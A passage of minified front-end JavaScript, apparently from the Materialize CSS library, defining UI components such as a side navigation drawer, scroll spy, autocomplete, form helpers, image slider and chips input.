e=this._xPos-this._startingXpos,i=0<e?"right":"left";e=Math.min(this._width,Math.abs(e)),this.options.edge!==i&&(e=0);var n=-e;"right"===this.options.edge&&(n=-n),this.percentOpen=Math.min(1,1-e/this._width),this.el.style.transform="translateX("+n+"px)",this._overlay.style.opacity=this.percentOpen}}},{key:"_handleCloseRelease",value:function(){this.isOpen&&this.isDragged&&(.8<this.percentOpen?this._animateIn():this.close(),this.isDragged=!1,this._verticallyScrolling=!1)}},{key:"_handleCloseTriggerClick",value:function(t){s(t.target).closest(".sidenav-close").length&&!this._isCurrentlyFixed()&&this.close()}},{key:"_handleWindowResize",value:function(){this.lastWindowWidth!==window.innerWidth&&(992<window.innerWidth?this.open():this.close()),this.lastWindowWidth=window.innerWidth,this.lastWindowHeight=window.innerHeight}},{key:"_setupClasses",value:function(){"right"===this.options.edge&&(this.el.classList.add("right-aligned"),this.dragTarget.classList.add("right-aligned"))}},{key:"_removeClasses",value:function(){this.el.classList.remove("right-aligned"),this.dragTarget.classList.remove("right-aligned")}},{key:"_setupFixed",value:function(){this._isCurrentlyFixed()&&this.open()}},{key:"_isCurrentlyFixed",value:function(){return this.isFixed&&992<window.innerWidth}},{key:"_createDragTarget",value:function(){var t=document.createElement("div");t.classList.add("drag-target"),document.body.appendChild(t),this.dragTarget=t}},{key:"_preventBodyScrolling",value:function(){document.body.style.overflow="hidden"}},{key:"_enableBodyScrolling",value:function(){document.body.style.overflow=""}},{key:"open",value:function(){!0!==this.isOpen&&(this.isOpen=!0,"function"==typeof this.options.onOpenStart&&this.options.onOpenStart.call(this,this.el),this._isCurrentlyFixed()?(o.remove(this.el),o({targets:this.el,translateX:0,duration:0,easing:"easeOutQuad"}),this._enableBodyScrolling(),this._overlay.style.display="none"):(this.options.preventScrolling&&this._preventBodyScrolling(),this.isDragged&&1==this.percentOpen||this._animateIn()))}},{key:"close",value:function(){if(!1!==this.isOpen)if(this.isOpen=!1,"function"==typeof this.options.onCloseStart&&this.options.onCloseStart.call(this,this.el),this._isCurrentlyFixed()){var t="left"===this.options.edge?"-105%":"105%";this.el.style.transform="translateX("+t+")"}else this._enableBodyScrolling(),this.isDragged&&0==this.percentOpen?this._overlay.style.display="none":this._animateOut()}},{key:"_animateIn",value:function(){this._animateSidenavIn(),this._animateOverlayIn()}},{key:"_animateSidenavIn",value:function(){var t=this,e="left"===this.options.edge?-1:1;this.isDragged&&(e="left"===this.options.edge?e+this.percentOpen:e-this.percentOpen),o.remove(this.el),o({targets:this.el,translateX:[100*e+"%",0],duration:this.options.inDuration,easing:"easeOutQuad",complete:function(){"function"==typeof t.options.onOpenEnd&&t.options.onOpenEnd.call(t,t.el)}})}},{key:"_animateOverlayIn",value:function(){var t=0;this.isDragged?t=this.percentOpen:s(this._overlay).css({display:"block"}),o.remove(this._overlay),o({targets:this._overlay,opacity:[t,1],duration:this.options.inDuration,easing:"easeOutQuad"})}},{key:"_animateOut",value:function(){this._animateSidenavOut(),this._animateOverlayOut()}},{key:"_animateSidenavOut",value:function(){var t=this,e="left"===this.options.edge?-1:1,i=0;this.isDragged&&(i="left"===this.options.edge?e+this.percentOpen:e-this.percentOpen),o.remove(this.el),o({targets:this.el,translateX:[100*i+"%",105*e+"%"],duration:this.options.outDuration,easing:"easeOutQuad",complete:function(){"function"==typeof t.options.onCloseEnd&&t.options.onCloseEnd.call(t,t.el)}})}},{key:"_animateOverlayOut",value:function(){var t=this;o.remove(this._overlay),o({targets:this._overlay,opacity:0,duration:this.options.outDuration,easing:"easeOutQuad",complete:function(){s(t._overlay).css("display","none")}})}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Sidenav}},{key:"defaults",get:function(){return e}}]),n}();t._sidenavs=[],M.Sidenav=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"sidenav","M_Sidenav")}(cash,M.anime),function(o,a){"use strict";var e={throttle:100,scrollOffset:200,activeClass:"active",getActiveElement:function(t){return'a[href="#'+t+'"]'}},t=function(t){function c(t,e){_classCallCheck(this,c);var i=_possibleConstructorReturn(this,(c.__proto__||Object.getPrototypeOf(c)).call(this,c,t,e));return(i.el.M_ScrollSpy=i).options=o.extend({},c.defaults,e),c._elements.push(i),c._count++,c._increment++,i.tickId=-1,i.id=c._increment,i._setupEventHandlers(),i._handleWindowScroll(),i}return _inherits(c,Component),_createClass(c,[{key:"destroy",value:function(){c._elements.splice(c._elements.indexOf(this),1),c._elementsInView.splice(c._elementsInView.indexOf(this),1),c._visibleElements.splice(c._visibleElements.indexOf(this.$el),1),c._count--,this._removeEventHandlers(),o(this.options.getActiveElement(this.$el.attr("id"))).removeClass(this.options.activeClass),this.el.M_ScrollSpy=void 0}},{key:"_setupEventHandlers",value:function(){var t=M.throttle(this._handleWindowScroll,200);this._handleThrottledResizeBound=t.bind(this),this._handleWindowScrollBound=this._handleWindowScroll.bind(this),1===c._count&&(window.addEventListener("scroll",this._handleWindowScrollBound),window.addEventListener("resize",this._handleThrottledResizeBound),document.body.addEventListener("click",this._handleTriggerClick))}},{key:"_removeEventHandlers",value:function(){0===c._count&&(window.removeEventListener("scroll",this._handleWindowScrollBound),window.removeEventListener("resize",this._handleThrottledResizeBound),document.body.removeEventListener("click",this._handleTriggerClick))}},{key:"_handleTriggerClick",value:function(t){for(var e=o(t.target),i=c._elements.length-1;0<=i;i--){var n=c._elements[i];if(e.is('a[href="#'+n.$el.attr("id")+'"]')){t.preventDefault();var s=n.$el.offset().top+1;a({targets:[document.documentElement,document.body],scrollTop:s-n.options.scrollOffset,duration:400,easing:"easeOutCubic"});break}}}},{key:"_handleWindowScroll",value:function(){c._ticks++;for(var t=M.getDocumentScrollTop(),e=M.getDocumentScrollLeft(),i=e+window.innerWidth,n=t+window.innerHeight,s=c._findElements(t,i,n,e),o=0;o<s.length;o++){var a=s[o];a.tickId<0&&a._enter(),a.tickId=c._ticks}for(var r=0;r<c._elementsInView.length;r++){var l=c._elementsInView[r],h=l.tickId;0<=h&&h!==c._ticks&&(l._exit(),l.tickId=-1)}c._elementsInView=s}},{key:"_enter",value:function(){(c._visibleElements=c._visibleElements.filter(function(t){return 0!=t.height()}))[0]?(o(this.options.getActiveElement(c._visibleElements[0].attr("id"))).removeClass(this.options.activeClass),c._visibleElements[0][0].M_ScrollSpy&&this.id<c._visibleElements[0][0].M_ScrollSpy.id?c._visibleElements.unshift(this.$el):c._visibleElements.push(this.$el)):c._visibleElements.push(this.$el),o(this.options.getActiveElement(c._visibleElements[0].attr("id"))).addClass(this.options.activeClass)}},{key:"_exit",value:function(){var e=this;(c._visibleElements=c._visibleElements.filter(function(t){return 0!=t.height()}))[0]&&(o(this.options.getActiveElement(c._visibleElements[0].attr("id"))).removeClass(this.options.activeClass),(c._visibleElements=c._visibleElements.filter(function(t){return t.attr("id")!=e.$el.attr("id")}))[0]&&o(this.options.getActiveElement(c._visibleElements[0].attr("id"))).addClass(this.options.activeClass))}}],[{key:"init",value:function(t,e){return _get(c.__proto__||Object.getPrototypeOf(c),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_ScrollSpy}},{key:"_findElements",value:function(t,e,i,n){for(var s=[],o=0;o<c._elements.length;o++){var a=c._elements[o],r=t+a.options.scrollOffset||200;if(0<a.$el.height()){var l=a.$el.offset().top,h=a.$el.offset().left,d=h+a.$el.width(),u=l+a.$el.height();!(e<h||d<n||i<l||u<r)&&s.push(a)}}return s}},{key:"defaults",get:function(){return e}}]),c}();t._elements=[],t._elementsInView=[],t._visibleElements=[],t._count=0,t._increment=0,t._ticks=0,M.ScrollSpy=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"scrollSpy","M_ScrollSpy")}(cash,M.anime),function(h){"use strict";var e={data:{},limit:1/0,onAutocomplete:null,minLength:1,sortFunction:function(t,e,i){return t.indexOf(i)-e.indexOf(i)}},t=function(t){function s(t,e){_classCallCheck(this,s);var i=_possibleConstructorReturn(this,(s.__proto__||Object.getPrototypeOf(s)).call(this,s,t,e));return(i.el.M_Autocomplete=i).options=h.extend({},s.defaults,e),i.isOpen=!1,i.count=0,i.activeIndex=-1,i.oldVal,i.$inputField=i.$el.closest(".input-field"),i.$active=h(),i._mousedown=!1,i._setupDropdown(),i._setupEventHandlers(),i}return _inherits(s,Component),_createClass(s,[{key:"destroy",value:function(){this._removeEventHandlers(),this._removeDropdown(),this.el.M_Autocomplete=void 0}},{key:"_setupEventHandlers",value:function(){this._handleInputBlurBound=this._handleInputBlur.bind(this),this._handleInputKeyupAndFocusBound=this._handleInputKeyupAndFocus.bind(this),this._handleInputKeydownBound=this._handleInputKeydown.bind(this),this._handleInputClickBound=this._handleInputClick.bind(this),this._handleContainerMousedownAndTouchstartBound=this._handleContainerMousedownAndTouchstart.bind(this),this._handleContainerMouseupAndTouchendBound=this._handleContainerMouseupAndTouchend.bind(this),this.el.addEventListener("blur",this._handleInputBlurBound),this.el.addEventListener("keyup",this._handleInputKeyupAndFocusBound),this.el.addEventListener("focus",this._handleInputKeyupAndFocusBound),this.el.addEventListener("keydown",this._handleInputKeydownBound),this.el.addEventListener("click",this._handleInputClickBound),this.container.addEventListener("mousedown",this._handleContainerMousedownAndTouchstartBound),this.container.addEventListener("mouseup",this._handleContainerMouseupAndTouchendBound),void 0!==window.ontouchstart&&(this.container.addEventListener("touchstart",this._handleContainerMousedownAndTouchstartBound),this.container.addEventListener("touchend",this._handleContainerMouseupAndTouchendBound))}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("blur",this._handleInputBlurBound),this.el.removeEventListener("keyup",this._handleInputKeyupAndFocusBound),this.el.removeEventListener("focus",this._handleInputKeyupAndFocusBound),this.el.removeEventListener("keydown",this._handleInputKeydownBound),this.el.removeEventListener("click",this._handleInputClickBound),this.container.removeEventListener("mousedown",this._handleContainerMousedownAndTouchstartBound),this.container.removeEventListener("mouseup",this._handleContainerMouseupAndTouchendBound),void 0!==window.ontouchstart&&(this.container.removeEventListener("touchstart",this._handleContainerMousedownAndTouchstartBound),this.container.removeEventListener("touchend",this._handleContainerMouseupAndTouchendBound))}},{key:"_setupDropdown",value:function(){var e=this;this.container=document.createElement("ul"),this.container.id="autocomplete-options-"+M.guid(),h(this.container).addClass("autocomplete-content dropdown-content"),this.$inputField.append(this.container),this.el.setAttribute("data-target",this.container.id),this.dropdown=M.Dropdown.init(this.el,{autoFocus:!1,closeOnClick:!1,coverTrigger:!1,onItemClick:function(t){e.selectOption(h(t))}}),this.el.removeEventListener("click",this.dropdown._handleClickBound)}},{key:"_removeDropdown",value:function(){this.container.parentNode.removeChild(this.container)}},{key:"_handleInputBlur",value:function(){this._mousedown||(this.close(),this._resetAutocomplete())}},{key:"_handleInputKeyupAndFocus",value:function(t){"keyup"===t.type&&(s._keydown=!1),this.count=0;var e=this.el.value.toLowerCase();13!==t.keyCode&&38!==t.keyCode&&40!==t.keyCode&&(this.oldVal===e||!M.tabPressed&&"focus"===t.type||this.open(),this.oldVal=e)}},{key:"_handleInputKeydown",value:function(t){s._keydown=!0;var e=t.keyCode,i=void 0,n=h(this.container).children("li").length;e===M.keys.ENTER&&0<=this.activeIndex?(i=h(this.container).children("li").eq(this.activeIndex)).length&&(this.selectOption(i),t.preventDefault()):e!==M.keys.ARROW_UP&&e!==M.keys.ARROW_DOWN||(t.preventDefault(),e===M.keys.ARROW_UP&&0<this.activeIndex&&this.activeIndex--,e===M.keys.ARROW_DOWN&&this.activeIndex<n-1&&this.activeIndex++,this.$active.removeClass("active"),0<=this.activeIndex&&(this.$active=h(this.container).children("li").eq(this.activeIndex),this.$active.addClass("active")))}},{key:"_handleInputClick",value:function(t){this.open()}},{key:"_handleContainerMousedownAndTouchstart",value:function(t){this._mousedown=!0}},{key:"_handleContainerMouseupAndTouchend",value:function(t){this._mousedown=!1}},{key:"_highlight",value:function(t,e){var i=e.find("img"),n=e.text().toLowerCase().indexOf(""+t.toLowerCase()),s=n+t.length-1,o=e.text().slice(0,n),a=e.text().slice(n,s+1),r=e.text().slice(s+1);e.html("<span>"+o+"<span class='highlight'>"+a+"</span>"+r+"</span>"),i.length&&e.prepend(i)}},{key:"_resetCurrentElement",value:function(){this.activeIndex=-1,this.$active.removeClass("active")}},{key:"_resetAutocomplete",value:function(){h(this.container).empty(),this._resetCurrentElement(),this.oldVal=null,this.isOpen=!1,this._mousedown=!1}},{key:"selectOption",value:function(t){var e=t.text().trim();this.el.value=e,this.$el.trigger("change"),this._resetAutocomplete(),this.close(),"function"==typeof this.options.onAutocomplete&&this.options.onAutocomplete.call(this,e)}},{key:"_renderDropdown",value:function(t,i){var n=this;this._resetAutocomplete();var e=[];for(var s in t)if(t.hasOwnProperty(s)&&-1!==s.toLowerCase().indexOf(i)){if(this.count>=this.options.limit)break;var o={data:t[s],key:s};e.push(o),this.count++}if(this.options.sortFunction){e.sort(function(t,e){return n.options.sortFunction(t.key.toLowerCase(),e.key.toLowerCase(),i.toLowerCase())})}for(var a=0;a<e.length;a++){var r=e[a],l=h("<li></li>");r.data?l.append('<img src="'+r.data+'" class="right circle"><span>'+r.key+"</span>"):l.append("<span>"+r.key+"</span>"),h(this.container).append(l),this._highlight(i,l)}}},{key:"open",value:function(){var t=this.el.value.toLowerCase();this._resetAutocomplete(),t.length>=this.options.minLength&&(this.isOpen=!0,this._renderDropdown(this.options.data,t)),this.dropdown.isOpen?this.dropdown.recalculateDimensions():this.dropdown.open()}},{key:"close",value:function(){this.dropdown.close()}},{key:"updateData",value:function(t){var e=this.el.value.toLowerCase();this.options.data=t,this.isOpen&&this._renderDropdown(t,e)}}],[{key:"init",value:function(t,e){return _get(s.__proto__||Object.getPrototypeOf(s),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Autocomplete}},{key:"defaults",get:function(){return e}}]),s}();t._keydown=!1,M.Autocomplete=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"autocomplete","M_Autocomplete")}(cash),function(d){M.updateTextFields=function(){d("input[type=text], input[type=password], input[type=email], input[type=url], input[type=tel], input[type=number], input[type=search], input[type=date], input[type=time], textarea").each(function(t,e){var i=d(this);0<t.value.length||d(t).is(":focus")||t.autofocus||null!==i.attr("placeholder")?i.siblings("label").addClass("active"):t.validity?i.siblings("label").toggleClass("active",!0===t.validity.badInput):i.siblings("label").removeClass("active")})},M.validate_field=function(t){var e=null!==t.attr("data-length"),i=parseInt(t.attr("data-length")),n=t[0].value.length;0!==n||!1!==t[0].validity.badInput||t.is(":required")?t.hasClass("validate")&&(t.is(":valid")&&e&&n<=i||t.is(":valid")&&!e?(t.removeClass("invalid"),t.addClass("valid")):(t.removeClass("valid"),t.addClass("invalid"))):t.hasClass("validate")&&(t.removeClass("valid"),t.removeClass("invalid"))},M.textareaAutoResize=function(t){if(t instanceof Element&&(t=d(t)),t.length){var e=d(".hiddendiv").first();e.length||(e=d('<div class="hiddendiv common"></div>'),d("body").append(e));var i=t.css("font-family"),n=t.css("font-size"),s=t.css("line-height"),o=t.css("padding-top"),a=t.css("padding-right"),r=t.css("padding-bottom"),l=t.css("padding-left");n&&e.css("font-size",n),i&&e.css("font-family",i),s&&e.css("line-height",s),o&&e.css("padding-top",o),a&&e.css("padding-right",a),r&&e.css("padding-bottom",r),l&&e.css("padding-left",l),t.data("original-height")||t.data("original-height",t.height()),"off"===t.attr("wrap")&&e.css("overflow-wrap","normal").css("white-space","pre"),e.text(t[0].value+"\n");var h=e.html().replace(/\n/g,"<br>");e.html(h),0<t[0].offsetWidth&&0<t[0].offsetHeight?e.css("width",t.width()+"px"):e.css("width",window.innerWidth/2+"px"),t.data("original-height")<=e.innerHeight()?t.css("height",e.innerHeight()+"px"):t[0].value.length<t.data("previous-length")&&t.css("height",t.data("original-height")+"px"),t.data("previous-length",t[0].value.length)}else console.error("No textarea element found")},d(document).ready(function(){var n="input[type=text], input[type=password], input[type=email], input[type=url], input[type=tel], input[type=number], input[type=search], input[type=date], input[type=time], textarea";d(document).on("change",n,function(){0===this.value.length&&null===d(this).attr("placeholder")||d(this).siblings("label").addClass("active"),M.validate_field(d(this))}),d(document).ready(function(){M.updateTextFields()}),d(document).on("reset",function(t){var e=d(t.target);e.is("form")&&(e.find(n).removeClass("valid").removeClass("invalid"),e.find(n).each(function(t){this.value.length&&d(this).siblings("label").removeClass("active")}),setTimeout(function(){e.find("select").each(function(){this.M_FormSelect&&d(this).trigger("change")})},0))}),document.addEventListener("focus",function(t){d(t.target).is(n)&&d(t.target).siblings("label, .prefix").addClass("active")},!0),document.addEventListener("blur",function(t){var e=d(t.target);if(e.is(n)){var i=".prefix";0===e[0].value.length&&!0!==e[0].validity.badInput&&null===e.attr("placeholder")&&(i+=", label"),e.siblings(i).removeClass("active"),M.validate_field(e)}},!0);d(document).on("keyup","input[type=radio], input[type=checkbox]",function(t){if(t.which===M.keys.TAB)return d(this).addClass("tabbed"),void d(this).one("blur",function(t){d(this).removeClass("tabbed")})});var t=".materialize-textarea";d(t).each(function(){var t=d(this);t.data("original-height",t.height()),t.data("previous-length",this.value.length),M.textareaAutoResize(t)}),d(document).on("keyup",t,function(){M.textareaAutoResize(d(this))}),d(document).on("keydown",t,function(){M.textareaAutoResize(d(this))}),d(document).on("change",'.file-field input[type="file"]',function(){for(var t=d(this).closest(".file-field").find("input.file-path"),e=d(this)[0].files,i=[],n=0;n<e.length;n++)i.push(e[n].name);t[0].value=i.join(", "),t.trigger("change")})})}(cash),function(s,o){"use strict";var e={indicators:!0,height:400,duration:500,interval:6e3},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Slider=i).options=s.extend({},n.defaults,e),i.$slider=i.$el.find(".slides"),i.$slides=i.$slider.children("li"),i.activeIndex=i.$slides.filter(function(t){return s(t).hasClass("active")}).first().index(),-1!=i.activeIndex&&(i.$active=i.$slides.eq(i.activeIndex)),i._setSliderHeight(),i.$slides.find(".caption").each(function(t){i._animateCaptionIn(t,0)}),i.$slides.find("img").each(function(t){var e="data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";s(t).attr("src")!==e&&(s(t).css("background-image",'url("'+s(t).attr("src")+'")'),s(t).attr("src",e))}),i._setupIndicators(),i.$active?i.$active.css("display","block"):(i.$slides.first().addClass("active"),o({targets:i.$slides.first()[0],opacity:1,duration:i.options.duration,easing:"easeOutQuad"}),i.activeIndex=0,i.$active=i.$slides.eq(i.activeIndex),i.options.indicators&&i.$indicators.eq(i.activeIndex).addClass("active")),i.$active.find("img").each(function(t){o({targets:i.$active.find(".caption")[0],opacity:1,translateX:0,translateY:0,duration:i.options.duration,easing:"easeOutQuad"})}),i._setupEventHandlers(),i.start(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this.pause(),this._removeIndicators(),this._removeEventHandlers(),this.el.M_Slider=void 0}},{key:"_setupEventHandlers",value:function(){var e=this;this._handleIntervalBound=this._handleInterval.bind(this),this._handleIndicatorClickBound=this._handleIndicatorClick.bind(this),this.options.indicators&&this.$indicators.each(function(t){t.addEventListener("click",e._handleIndicatorClickBound)})}},{key:"_removeEventHandlers",value:function(){var e=this;this.options.indicators&&this.$indicators.each(function(t){t.removeEventListener("click",e._handleIndicatorClickBound)})}},{key:"_handleIndicatorClick",value:function(t){var e=s(t.target).index();this.set(e)}},{key:"_handleInterval",value:function(){var t=this.$slider.find(".active").index();this.$slides.length===t+1?t=0:t+=1,this.set(t)}},{key:"_animateCaptionIn",value:function(t,e){var i={targets:t,opacity:0,duration:e,easing:"easeOutQuad"};s(t).hasClass("center-align")?i.translateY=-100:s(t).hasClass("right-align")?i.translateX=100:s(t).hasClass("left-align")&&(i.translateX=-100),o(i)}},{key:"_setSliderHeight",value:function(){this.$el.hasClass("fullscreen")||(this.options.indicators?this.$el.css("height",this.options.height+40+"px"):this.$el.css("height",this.options.height+"px"),this.$slider.css("height",this.options.height+"px"))}},{key:"_setupIndicators",value:function(){var n=this;this.options.indicators&&(this.$indicators=s('<ul class="indicators"></ul>'),this.$slides.each(function(t,e){var i=s('<li class="indicator-item"></li>');n.$indicators.append(i[0])}),this.$el.append(this.$indicators[0]),this.$indicators=this.$indicators.children("li.indicator-item"))}},{key:"_removeIndicators",value:function(){this.$el.find("ul.indicators").remove()}},{key:"set",value:function(t){var e=this;if(t>=this.$slides.length?t=0:t<0&&(t=this.$slides.length-1),this.activeIndex!=t){this.$active=this.$slides.eq(this.activeIndex);var i=this.$active.find(".caption");this.$active.removeClass("active"),o({targets:this.$active[0],opacity:0,duration:this.options.duration,easing:"easeOutQuad",complete:function(){e.$slides.not(".active").each(function(t){o({targets:t,opacity:0,translateX:0,translateY:0,duration:0,easing:"easeOutQuad"})})}}),this._animateCaptionIn(i[0],this.options.duration),this.options.indicators&&(this.$indicators.eq(this.activeIndex).removeClass("active"),this.$indicators.eq(t).addClass("active")),o({targets:this.$slides.eq(t)[0],opacity:1,duration:this.options.duration,easing:"easeOutQuad"}),o({targets:this.$slides.eq(t).find(".caption")[0],opacity:1,translateX:0,translateY:0,duration:this.options.duration,delay:this.options.duration,easing:"easeOutQuad"}),this.$slides.eq(t).addClass("active"),this.activeIndex=t,this.start()}}},{key:"pause",value:function(){clearInterval(this.interval)}},{key:"start",value:function(){clearInterval(this.interval),this.interval=setInterval(this._handleIntervalBound,this.options.duration+this.options.interval)}},{key:"next",value:function(){var t=this.activeIndex+1;t>=this.$slides.length?t=0:t<0&&(t=this.$slides.length-1),this.set(t)}},{key:"prev",value:function(){var t=this.activeIndex-1;t>=this.$slides.length?t=0:t<0&&(t=this.$slides.length-1),this.set(t)}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Slider}},{key:"defaults",get:function(){return e}}]),n}();M.Slider=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"slider","M_Slider")}(cash,M.anime),function(n,s){n(document).on("click",".card",function(t){if(n(this).children(".card-reveal").length){var i=n(t.target).closest(".card");void 0===i.data("initialOverflow")&&i.data("initialOverflow",void 0===i.css("overflow")?"":i.css("overflow"));var e=n(this).find(".card-reveal");n(t.target).is(n(".card-reveal .card-title"))||n(t.target).is(n(".card-reveal .card-title i"))?s({targets:e[0],translateY:0,duration:225,easing:"easeInOutQuad",complete:function(t){var e=t.animatables[0].target;n(e).css({display:"none"}),i.css("overflow",i.data("initialOverflow"))}}):(n(t.target).is(n(".card .activator"))||n(t.target).is(n(".card .activator i")))&&(i.css("overflow","hidden"),e.css({display:"block"}),s({targets:e[0],translateY:"-100%",duration:300,easing:"easeInOutQuad"}))}})}(cash,M.anime),function(h){"use strict";var e={data:[],placeholder:"",secondaryPlaceholder:"",autocompleteOptions:{},limit:1/0,onChipAdd:null,onChipSelect:null,onChipDelete:null},t=function(t){function l(t,e){_classCallCheck(this,l);var i=_possibleConstructorReturn(this,(l.__proto__||Object.getPrototypeOf(l)).call(this,l,t,e));return(i.el.M_Chips=i).options=h.extend({},l.defaults,e),i.$el.addClass("chips input-field"),i.chipsData=[],i.$chips=h(),i._setupInput(),i.hasAutocomplete=0<Object.keys(i.options.autocompleteOptions).length,i.$input.attr("id")||i.$input.attr("id",M.guid()),i.options.data.length&&(i.chipsData=i.options.data,i._renderChips(i.chipsData)),i.hasAutocomplete&&i._setupAutocomplete(),i._setPlaceholder(),i._setupLabel(),i._setupEventHandlers(),i}return _inherits(l,Component),_createClass(l,[{key:"getData",value:function(){return this.chipsData}},{key:"destroy",value:function(){this._removeEventHandlers(),this.$chips.remove(),this.el.M_Chips=void 0}},{key:"_setupEventHandlers",value:function(){this._handleChipClickBound=this._handleChipClick.bind(this),this._handleInputKeydownBound=this._handleInputKeydown.bind(this),this._handleInputFocusBound=this._handleInputFocus.bind(this),this._handleInputBlurBound=this._handleInputBlur.bind(this),this.el.addEventListener("click",this._handleChipClickBound),document.addEventListener("keydown",l._handleChipsKeydown),document.addEventListener("keyup",l._handleChipsKeyup),this.el.addEventListener("blur",l._handleChipsBlur,!0),this.$input[0].addEventListener("focus",this._handleInputFocusBound),this.$input[0].addEventListener("blur",this._handleInputBlurBound),this.$input[0].addEventListener("keydown",this._handleInputKeydownBound)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("click",this._handleChipClickBound),document.removeEventListener("keydown",l._handleChipsKeydown),document.removeEventListener("keyup",l._handleChipsKeyup),this.el.removeEventListener("blur",l._handleChipsBlur,!0),this.$input[0].removeEventListener("focus",this._handleInputFocusBound),this.$input[0].removeEventListener("blur",this._handleInputBlurBound),this.$input[0].removeEventListener("keydown",this._handleInputKeydownBound)}},{key:"_handleChipClick",value:function(t){var e=h(t.target).closest(".chip"),i=h(t.target).is(".close");if(e.length){var n=e.index();i?(this.deleteChip(n),this.$input[0].focus()):this.selectChip(n)}else this.$input[0].focus()}},{key:"_handleInputFocus",value:function(){this.$el.addClass("focus")}},{key:"_handleInputBlur",value:function(){this.$el.removeClass("focus")}},{key:"_handleInputKeydown",value:function(t){if(l._keydown=!0,13===t.keyCode){if(this.hasAutocomplete&&this.autocomplete&&this.autocomplete.isOpen)return;t.preventDefault(),this.addChip({tag:this.$input[0].value}),this.$input[0].value=""}else 8!==t.keyCode&&37!==t.keyCode||""!==this.$input[0].value||!this.chipsData.length||(t.preventDefault(),this.selectChip(this.chipsData.length-1))}},{key:"_renderChip",value:function(t){if(t.tag){var e=document.createElement("div"),i=document.createElement("i");if(e.classList.add("chip"),e.textContent=t.tag,e.setAttribute("tabindex",0),h(i).addClass("material-icons close"),i.textContent="close",t.image){var n=document.createElement("img");n.setAttribute("src",t.image),e.insertBefore(n,e.firstChild)}return e.appendChild(i),e}}},{key:"_renderChips",value:function(){this.$chips.remove();for(var t=0;t<this.chipsData.length;t++){var e=this._renderChip(this.chipsData[t]);this.$el.append(e),this.$chips.add(e)}this.$el.append(this.$input[0])}},{key:"_setupAutocomplete",value:function(){var e=this;this.options.autocompleteOptions.onAutocomplete=function(t){e.addChip({tag:t}),e.$input[0].value="",e.$input[0].focus()},this.autocomplete=M.Autocomplete.init(this.$input[0],this.options.autocompleteOptions)}},{key:"_setupInput",value:function(){this.$input=this.$el.find("input"),this.$input.length||(this.$input=h("<input></input>"),this.$el.append(this.$input)),this.$input.addClass("input")}},{key:"_setupLabel",value:function(){this.$label=this.$el.find("label"),this.$label.length&&this.$label.setAttribute("for",this.$input.attr("id"))}},{key:"_setPlaceholder",value:function(){void 0!==this.chipsData&&!this.chipsData.length&&this.options.placeholder?h(this.$input).prop("placeholder",this.options.placeholder):(void 0===this.chipsData||this.chipsData.length)&&this.options.secondaryPlaceholder&&h(this.$input).prop("placeholder",this.options.secondaryPlaceholder)}},{key:"_isValid",value:function(t){if(t.hasOwnProperty("tag")&&""!==t.tag){for(var e=!1,i=0;i<this.chipsData.length;i++)if(this.chipsData[i].tag===t.tag){e=!0;break}return!e}return!1}},{key:"addChip",value:function(t){if(this._isValid(t)&&!(this.chipsData.length>=this.options.limit)){var e=this._renderChip(t);this.$chips.add(e),this.chipsData.push(t),h(this.$input).before(e),this._setPlaceholder(),"function"==typeof this.options.onChipAdd&&this.options.onChipAdd.call(this,this.$el,e)}}},{key:"deleteChip",value:function(t){var e=this.$chips.eq(t);this.$chips.eq(t).remove(),this.$chips=this.$chips.filter(function(t){return 0<=h(t).index()}),this.chipsData.splice(t,1),this._setPlaceholder(),"function"==typeof this.options.onChipDelete&&this.options.onChipDelete.call(this,this.$el,e[0])}},{key:"selectChip",value:function(t){var e=this.$chips.eq(t);(this._selectedChip=e)[0].focus(),"function"==typeof this.options.onChipSelect&&this.options.onChipSelect.call(this,this.$el,e[0])}}],[{key:"init",value:function(t,e){return _get(l.__proto__||Object.getPrototypeOf(l),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Chips}},{key:"_handleChipsKeydown",value:function(t){l._keydown=!0;var e=h(t.target).closest(".chips"),i=t.target&&e.length;if(!h(t.target).is("input, textarea")&&i){var n=e[0].M_Chips;if(8===t.keyCode||46===t.keyCode){t.preventDefault();var s=n.chipsData.length;if(n._selectedChip){var o=n._selectedChip.index();n.deleteChip(o),n._selectedChip=null,s=Math.max(o-1,0)}n.chipsData.length&&n.selectChip(s)}else if(37===t.keyCode){if(n._selectedChip){var a=n._selectedChip.index()-1;if(a<0)return;n.selectChip(a)}}else if(39===t.keyCode&&n._selectedChip){var r=n._selectedChip.index()+1;r>=n.chipsData.length?n.$input[0].focus():n.selectChip(r)}}}},{key:"_handleChipsKeyup",value:function(t){l._keydown=!1}},{key:"_handleChipsBlur",value:function(t){l._keydown||(h(t.target).closest(".chips")[0].M_Chips._selectedChip=null)}},{key:"defaults",get:function(){return e}}]),l}();t._keydown=!1,M.Chips=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"chips","M_Chips"),h(document).ready(function(){h(document.body).on("click",".chip .close",function(){var t=h(this).closest(".chips");t.length&&t[0].M_Chips||h(this).closest(".chip").remove()})})}(cash),function(s){"use strict";var e={top:0,bottom:1/0,offset:0,onPositionChange:null},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Pushpin=i).options=s.extend({},n.defaults,e),i.originalOffset=i.el.offsetTop,n._pushpins.push(i),i._setupEventHandlers(),i._updatePosition(),i}return 